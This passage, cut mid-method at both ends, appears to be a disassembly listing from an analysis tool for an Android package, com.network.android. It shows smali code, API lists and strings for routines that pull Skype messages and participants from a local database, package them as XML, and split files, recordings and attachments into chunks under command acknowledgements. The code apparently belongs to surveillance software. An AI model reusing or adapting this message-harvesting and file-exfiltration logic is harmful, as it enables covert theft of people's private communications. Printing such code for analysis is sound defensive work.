      415invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      416move-result-object v3
      418invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      419move-result-object v3
      421invoke-static {v3, v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      422goto/16 :goto_21e
      423catch_251: move-exception v1
      424move-object/from16 v16, v5
      425move-object v5, v4
      426move-object v4, v3
      427move-object/from16 v3, v16
      428goto_258: new-instance v6, Ljava/lang/StringBuilder;
      430const-string v7, "DatabaseHandler Pick DataElement : "
      432invoke-direct {v6, v7}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      434invoke-virtual {v1}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      435move-result-object v7
      437invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      438move-result-object v6
      440invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      441move-result-object v6
      443invoke-static {v6, v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      444try_end_26e: if-eqz v5, :cond_273
      445try_start_270:
      446invoke-virtual {v5}, Ljava/io/FileInputStream;->close()V
      447cond_273: if-eqz v4, :cond_278
      449invoke-virtual {v4}, Ljava/io/FileInputStream;->close()V
      450cond_278: if-eqz v3, :cond_27d
      452invoke-interface {v3}, Landroid/database/Cursor;->close()V
      453cond_27d: if-eqz v2, :cond_288
      455invoke-virtual {v2}, Landroid/database/sqlite/SQLiteDatabase;->isOpen()Z
      456move-result v1
      457if-eqz v1, :cond_288
      459invoke-virtual {v2}, Landroid/database/sqlite/SQLiteDatabase;->close()V
      460goto_288: const/4 v1, 0x0
      461goto/16 :goto_31
      462catch_28b: move-exception v1
      463new-instance v2, Ljava/lang/StringBuilder;
      465const-string v3, "DatabaseHandler pick finaly - fail to close input stream: "
      467invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      469invoke-virtual {v1}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      470move-result-object v3
      472invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      473move-result-object v2
      475invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      476move-result-object v2
      478invoke-static {v2, v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      479goto/16 :goto_288
      480catchall_2a3: move-exception v1
      481move-object v6, v2
      482move-object v7, v5
      483goto_2a6: if-eqz v4, :cond_2ab
      484try_start_2a8:
      485invoke-virtual {v4}, Ljava/io/FileInputStream;->close()V
      486cond_2ab: if-eqz v3, :cond_2b0
      488invoke-virtual {v3}, Ljava/io/FileInputStream;->close()V
      489cond_2b0: if-eqz v7, :cond_2b5
      491invoke-interface {v7}, Landroid/database/Cursor;->close()V
      492cond_2b5: if-eqz v6, :cond_2c0
      494invoke-virtual {v6}, Landroid/database/sqlite/SQLiteDatabase;->isOpen()Z
      495move-result v2
      496if-eqz v2, :cond_2c0
      498invoke-virtual {v6}, Landroid/database/sqlite/SQLiteDatabase;->close()V
      499goto_2c0: throw v1
      500catch_2c1: move-exception v2
      501new-instance v3, Ljava/lang/StringBuilder;
      503const-string v4, "DatabaseHandler pick finaly - fail to close input stream: "
      505invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      507invoke-virtual {v2}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      508move-result-object v4
      510invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      511move-result-object v3
      513invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      514move-result-object v3
      516invoke-static {v3, v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      517goto/16 :goto_2c0
      518catchall_2d9: move-exception v1
      519move-object v7, v5
      520goto/16 :goto_2a6
      521catchall_2dc: move-exception v1
      522goto/16 :goto_2a6
      523catchall_2de: move-exception v2
      524move-object v3, v1
      525move-object v1, v2
      526goto/16 :goto_2a6
      527catchall_2e2: move-exception v1
      528move-object v4, v5
      529goto/16 :goto_2a6
      530catchall_2e5: move-exception v1
      531move-object v6, v2
      532move-object v7, v3
      533move-object v3, v4
      534move-object v4, v5
      535goto/16 :goto_2a6
      536catch_2eb: move-exception v1
      537move-object v2, v6
      538move-object/from16 v16, v5
      539move-object v5, v4
      540move-object v4, v3
      541move-object/from16 v3, v16
      542goto/16 :goto_258
      543catch_2f5: move-exception v1
      544move-object v2, v6
      545move-object v5, v4
      546move-object v4, v3
      547move-object v3, v7
      548goto/16 :goto_258
      549catch_2fc: move-exception v1
      550move-object v2, v6
      551move-object v5, v4
      552move-object v4, v3
      553move-object v3, v7
      554goto/16 :goto_258
      555catch_303: move-exception v1
      556goto/16 :goto_18f
      557catch_306: move-exception v1
      558move-object v4, v5
      559goto/16 :goto_18f
      560catch_30a: move-exception v1
      561move-object/from16 v16, v1
      562move-object v1, v3
      563move-object/from16 v3, v16
      564goto/16 :goto_172
      Cross References
      APIs
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • android.database.Cursor.getPosition
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.util.Map.get
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • java.util.Map.get
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • java.util.Map.get
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • java.util.Map.get
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • java.util.Map.get
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • java.util.Map.get
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.sqlite.SQLiteDatabase.rawQuery
      • android.database.Cursor.moveToNext
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • java.lang.StringBuilder.length
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.String.length
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • android.database.Cursor.getPosition
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.Long.parseLong
      • java.util.Date.<init>
      • java.util.Date.toString
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.toString
      Strings
      • GetContentIM addImSingleEntrySkype index:
      • text
      • msg_id
      • thread_id
      • timestamp
      • senderName
      • senderUserId
      • ,
      • displayname
      • GetContentIM addImSingleEntrySkype: Look for participant-ids
      • SELECT identity FROM Participants WHERE convo_id=
      • identity
      • GetContentIM addImSingleEntrySkype iter exception-
      • GetContentIM addImSingleEntrySkype EMPTY MESSAGE -> CONTINUE:
      • GetContentIM addImSingleEntrySkype:
      • , fromName:
      • , fromNumber:
      • GetContentIM addImSingleEntrySkype timestamp_ms:
      • GetContentIM addImSingleEntrySkype by date:
      • GetContentIM addImSingleEntrySkype participantsSb:
      • GetContentIM addImSingleEntrySkype participantsNumbersSb:
      • -
      Position Instruction Meta Information
      0try_start_0: new-instance v1, Ljava/lang/StringBuilder;
      2invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
      4invoke-virtual {v1, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      5move-result-object v1
      7const-string v2, "GetContentIM addImSingleEntrySkype index: "
      9invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      10move-result-object v1
      12invoke-interface {p0}, Landroid/database/Cursor;->getPosition()I
      13move-result v2
      15invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      16move-result-object v1
      18invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      19move-result-object v1
      21invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      23const-string v1, "text"
      24move-object/from16 v0, p3
      26invoke-interface {v0, v1}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
      27move-result-object v1
      28check-cast v1, Ljava/lang/String;
      30invoke-interface {p0, v1}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      31move-result v1
      33invoke-interface {p0, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      34move-result-object v3
      36const-string v1, "msg_id"
      37move-object/from16 v0, p3
      39invoke-interface {v0, v1}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
      40move-result-object v1
      41check-cast v1, Ljava/lang/String;
      43invoke-interface {p0, v1}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      44move-result v1
      46invoke-interface {p0, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      47move-result-object v4
      49const-string v1, "thread_id"
      50move-object/from16 v0, p3
      52invoke-interface {v0, v1}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
      53move-result-object v1
      54check-cast v1, Ljava/lang/String;
      56invoke-interface {p0, v1}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      57move-result v1
      59invoke-interface {p0, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      60move-result-object v2
      62const-string v1, "timestamp"
      63move-object/from16 v0, p3
      65invoke-interface {v0, v1}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
      66move-result-object v1
      67check-cast v1, Ljava/lang/String;
      69invoke-interface {p0, v1}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      70move-result v1
      72invoke-interface {p0, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      73move-result-object v5
      75const-string v1, "senderName"
      76move-object/from16 v0, p3
      78invoke-interface {v0, v1}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
      79move-result-object v1
      80check-cast v1, Ljava/lang/String;
      82invoke-interface {p0, v1}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      83move-result v1
      85invoke-interface {p0, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      86move-result-object v7
      88const-string v1, "senderUserId"
      89move-object/from16 v0, p3
      91invoke-interface {v0, v1}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
      92move-result-object v1
      93check-cast v1, Ljava/lang/String;
      95invoke-interface {p0, v1}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      96move-result v1
      98invoke-interface {p0, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      99move-result-object v6
      100new-instance v1, Ljava/lang/StringBuilder;
      102invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
      103move-object/from16 v0, p6
      105invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      106move-result-object v1
      108const-string v8, ","
      110invoke-virtual {v1, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      111move-result-object v1
      113const-string v8, "displayname"
      115invoke-interface {p0, v8}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      116move-result v8
      118invoke-interface {p0, v8}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      119move-result-object v8
      121invoke-virtual {v1, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      122move-result-object v1
      124invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      125move-result-object v8
      126new-instance v1, Ljava/lang/StringBuilder;
      128invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
      130invoke-virtual {v1, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      131move-result-object v1
      133const-string v9, "GetContentIM addImSingleEntrySkype: Look for participant-ids"
      135invoke-virtual {v1, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      136move-result-object v1
      138invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      139move-result-object v1
      141invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      142new-instance v1, Ljava/lang/StringBuilder;
      144invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
      145new-instance v9, Ljava/lang/StringBuilder;
      147const-string v10, "SELECT identity FROM Participants WHERE convo_id="
      149invoke-direct {v9, v10}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      151invoke-virtual {v9, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      152move-result-object v9
      154invoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      155move-result-object v9
      156const/4 v10, 0x0
      157move-object/from16 v0, p4
      159invoke-virtual {v0, v9, v10}, Landroid/database/sqlite/SQLiteDatabase;->rawQuery(Ljava/lang/String;[Ljava/lang/String;)Landroid/database/Cursor;
      160move-result-object v9
      161goto_de:
      162invoke-interface {v9}, Landroid/database/Cursor;->moveToNext()Z
      163move-result v10
      164if-eqz v10, :cond_11d
      166const-string v10, "identity"
      168invoke-interface {v9, v10}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      169move-result v10
      171invoke-interface {v9, v10}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      172move-result-object v10
      174invoke-virtual {v1}, Ljava/lang/StringBuilder;->length()I
      175move-result v11
      176if-lez v11, :cond_f9
      178const-string v11, ","
      180invoke-virtual {v1, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      181cond_f9:
      182invoke-virtual {v1, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      183try_end_fc: goto/16 :goto_de
      184catch_fd: move-exception v1
      185new-instance v2, Ljava/lang/StringBuilder;
      187invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
      189invoke-virtual {v2, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      190move-result-object v2
      192const-string v3, "GetContentIM addImSingleEntrySkype iter exception- "
      194invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      195move-result-object v2
      197invoke-virtual {v1}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      198move-result-object v3
      200invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      201move-result-object v2
      203invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      204move-result-object v2
      206invoke-static {v2, v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      207goto_11c: return-void
      208cond_11d: if-eqz v3, :cond_125
      209try_start_11f:
      210invoke-virtual {v3}, Ljava/lang/String;->length()I
      211move-result v9
      212if-nez v9, :cond_144
      213cond_125: new-instance v1, Ljava/lang/StringBuilder;
      215invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
      217invoke-virtual {v1, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      218move-result-object v1
      220const-string v2, "GetContentIM addImSingleEntrySkype EMPTY MESSAGE -> CONTINUE: "
      222invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      223move-result-object v1
      225invoke-interface {p0}, Landroid/database/Cursor;->getPosition()I
      226move-result v2
      228invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      229move-result-object v1
      231invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      232move-result-object v1
      234invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      235goto/16 :goto_11c
      236cond_144: new-instance v9, Ljava/lang/StringBuilder;
      238invoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
      240invoke-virtual {v9, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      241move-result-object v9
      243const-string v10, "GetContentIM addImSingleEntrySkype:"
      245invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      246move-result-object v9
      248invoke-virtual {v9, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      249move-result-object v9
      251const-string v10, ", fromName:"
      253invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      254move-result-object v9
      256invoke-virtual {v9, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      257move-result-object v9
      259const-string v10, ", fromNumber:"
      261invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      262move-result-object v9
      264invoke-virtual {v9, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      265move-result-object v9
      267invoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      268move-result-object v9
      270invoke-static {v9}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      271new-instance v9, Ljava/lang/StringBuilder;
      273invoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
      275invoke-virtual {v9, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      276move-result-object v9
      278const-string v10, "GetContentIM addImSingleEntrySkype timestamp_ms:"
      280invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      281move-result-object v9
      283invoke-virtual {v9, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      284move-result-object v9
      286invoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      287move-result-object v9
      289invoke-static {v9}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      290try_start_18c: new-instance v9, Ljava/lang/StringBuilder;
      292invoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
      294invoke-virtual {v9, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      295move-result-object v9
      297const-string v10, "GetContentIM addImSingleEntrySkype by date:"
      299invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      300move-result-object v9
      301new-instance v10, Ljava/util/Date;
      303invoke-static {v5}, Ljava/lang/Long;->parseLong(Ljava/lang/String;)J
      304move-result-wide v11
      306invoke-direct {v10, v11, v12}, Ljava/util/Date;-><init>(J)V
      308invoke-virtual {v10}, Ljava/util/Date;->toString()Ljava/lang/String;
      309move-result-object v10
      311invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      312move-result-object v9
      314invoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      315move-result-object v9
      317invoke-static {v9}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      318try_end_1b3: new-instance v9, Ljava/lang/StringBuilder;
      320invoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
      322invoke-virtual {v9, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      323move-result-object v9
      325const-string v10, "GetContentIM addImSingleEntrySkype participantsSb: "
      327invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      328move-result-object v9
      330invoke-virtual {v9, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      331move-result-object v9
      333invoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      334move-result-object v9
      336invoke-static {v9}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      337new-instance v9, Ljava/lang/StringBuilder;
      339invoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
      341invoke-virtual {v9, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      342move-result-object v9
      344const-string v10, "GetContentIM addImSingleEntrySkype participantsNumbersSb: "
      346invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      347move-result-object v9
      349invoke-virtual {v9, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
      350move-result-object v9
      352invoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      353move-result-object v9
      355invoke-static {v9}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      356new-instance v9, Ljava/lang/StringBuilder;
      358invoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
      360invoke-virtual {v9, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      361move-result-object v2
      363const-string v9, "-"
      365invoke-virtual {v2, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      366move-result-object v2
      367move-object/from16 v0, p5
      369invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      370move-result-object v2
      372invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      373move-result-object v2
      375invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      376move-result-object v9
      377move-object v1, p1
      378move-object v10, p2
      380invoke-static/range {v1 .. v10}, Lcom/network/android/p;->a(Lorg/xmlpull/v1/XmlSerializer;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
      381try_end_209: goto/16 :goto_11c
      382catch_20b: move-exception v9
      383goto/16 :goto_1b3
      Cross References
      APIs
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.File.<init>
      • java.io.FileInputStream.<init>
      • java.io.FileInputStream.read
      • java.io.FileInputStream.close
      • java.io.ByteArrayOutputStream.toByteArray
      • java.io.FileInputStream.close
      • java.io.FileInputStream.close
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.Integer.toString
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.util.Xml.newSerializer
      • java.io.StringWriter.<init>
      • com.network.android.SmsReceiver.a
      • java.io.File.<init>
      • java.io.File.getName
      • java.lang.String.valueOf
      • java.lang.Integer.<init>
      • java.lang.Integer.toString
      • java.lang.Integer.<init>
      • java.lang.Integer.toString
      • com.network.android.SmsReceiver.a
      • java.io.StringWriter.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.FileInputStream.close
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.Integer.toString
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.Integer.toString
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.io.IOException.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.FileInputStream.close
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.FileInputStream.close
      • java.io.FileInputStream.close
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.FileInputStream.close
      Strings
      • chunkData file size:
      • working on file:
      • chunkData read return value was 0. somthing is wrong. returning
      • chunkData nChunks > totalFiles. somthing is wrong. returning
      • Chunker chunkData - bad value. returning
      • File_
      • _part_
      • _T_
      • .dat
      • buildSendFileHeader start
      • buildSendFileHeader totalFiles:
      • fileNum:
      • fileSystemList
      • timestamp
      • fileData
      • type
      • file
      • originalTimestamp
      • commandAck
      • originalFilename
      • isCompressed
      • true
      • length
      • contentType
      • text/plain
      • totalFiles
      • fileNum
      • buildSendFileHeader end
      • false
      • chunkData sending chunk
      • Recording_
      • Attachment_
      • chunkData io exception:
      • GET_FILE_IO_EXCEPTION
      • chunkData sending chunks exception
      • GET_FILE_GENERAL_FAILURE
      • chankData
      Position Instruction Meta Information
      0const/4 v2, 0x0
      1try_start_1: new-instance v1, Ljava/lang/StringBuilder;
      3const-string v3, "chunkData file size: "
      5invoke-direct {v1, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      7invoke-virtual {v1, p0}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      8move-result-object v1
      10const-string v3, " working on file: "
      12invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      13move-result-object v1
      15invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      16move-result-object v1
      18invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      19move-result-object v1
      21invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      22const/4 v5, 0x0
      23const v9, 0x19000
      24const v1, 0x19000
      25div-int v6, p0, v1
      26const v1, 0x19000
      27rem-int v1, p0, v1
      28try_end_2b: if-eqz v1, :cond_2f
      29add-int/lit8 v6, v6, 0x1
      30cond_2f: new-instance v1, Ljava/io/File;
      32invoke-direct {v1, p1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
      33new-instance v8, Ljava/io/FileInputStream;
      35invoke-direct {v8, v1}, Ljava/io/FileInputStream;-><init>(Ljava/io/File;)V
      36try_end_39: const/4 v1, 0x0
      37const/4 v2, 0x3
      38move/from16 v0, p4
      39if-ne v0, v2, :cond_2dc
      40try_start_3f:
      41invoke-static/range {p5 .. p5}, Lcom/network/i/e;->a(Ljava/lang/String;)Ljava/lang/Object;
      42try_end_42: move-result-object v1
      43move-object v10, v1
      44move v2, v9
      45move v1, p0
      46goto_46: if-lez v1, :cond_2c6
      47const v3, 0x19000
      48if-gt v1, v3, :cond_2d9
      49move v9, v1
      50try_start_4e: new-array v2, v9, [B
      51const/4 v3, 0x0
      53invoke-virtual {v8, v2, v3, v9}, Ljava/io/FileInputStream;->read([BII)I
      54move-result v3
      55if-gtz v3, :cond_63
